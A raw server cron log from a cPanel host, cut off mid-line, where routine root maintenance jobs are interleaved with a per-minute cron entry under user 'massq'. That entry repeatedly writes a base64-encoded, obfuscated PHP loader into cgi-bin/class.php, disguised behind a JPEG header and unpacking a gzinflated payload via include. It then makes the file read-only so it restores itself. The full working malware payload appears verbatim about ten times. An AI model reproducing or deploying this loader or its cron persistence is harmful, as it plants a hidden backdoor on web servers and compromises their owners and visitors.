Sep  2 02:00:01 server CROND[20657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:00:01 server CROND[20660]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 02:00:01 server CROND[20661]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 02:00:01 server CROND[20667]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 02:00:01 server CROND[20669]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 02:00:01 server CROND[20666]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:00:01 server CROND[20668]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  2 02:00:01 server CROND[20678]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:00:01 server CROND[20673]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 02:00:01 server CROND[20674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:00:01 server CROND[20672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:01:01 server CROND[21579]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 02:01:01 server CROND[21580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:01:01 server CROND[21581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:01:01 server CROND[21582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:01:01 server run-parts(/etc/cron.hourly)[21579]: starting 0anacron
Sep  2 02:01:01 server anacron[21601]: Anacron started on 2026-09-02
Sep  2 02:01:01 server anacron[21601]: Normal exit (0 jobs run)
Sep  2 02:01:01 server run-parts(/etc/cron.hourly)[21603]: finished 0anacron
Sep  2 02:02:01 server CROND[21975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:02:01 server CROND[21976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:02:01 server CROND[21977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:03:01 server CROND[22475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:03:01 server CROND[22476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:03:01 server CROND[22477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:04:01 server CROND[23011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:04:01 server CROND[23012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:04:01 server CROND[23013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:05:01 server CROND[23439]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 02:05:01 server CROND[23454]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 02:05:01 server CROND[23456]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 02:05:01 server CROND[23453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:05:01 server CROND[23458]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:05:01 server CROND[23457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:05:01 server CROND[23459]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:05:01 server CROND[23461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:05:01 server CROND[23455]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 02:06:01 server CROND[24380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:06:01 server CROND[24381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:06:01 server CROND[24382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:07:01 server CROND[24761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:07:01 server CROND[24760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:07:01 server CROND[24762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:08:01 server CROND[25148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:08:01 server CROND[25146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:08:01 server CROND[25147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:09:01 server CROND[25534]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 02:09:01 server CROND[25535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:09:01 server CROND[25537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:09:01 server CROND[25536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:10:01 server CROND[25981]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 02:10:01 server CROND[25982]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 02:10:01 server CROND[25983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:10:01 server CROND[25986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:10:01 server CROND[25988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:10:01 server CROND[25990]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 02:10:01 server CROND[25991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:10:01 server CROND[25992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:11:01 server CROND[26912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 02:11:01 server CROND[26913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:11:01 server CROND[26914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 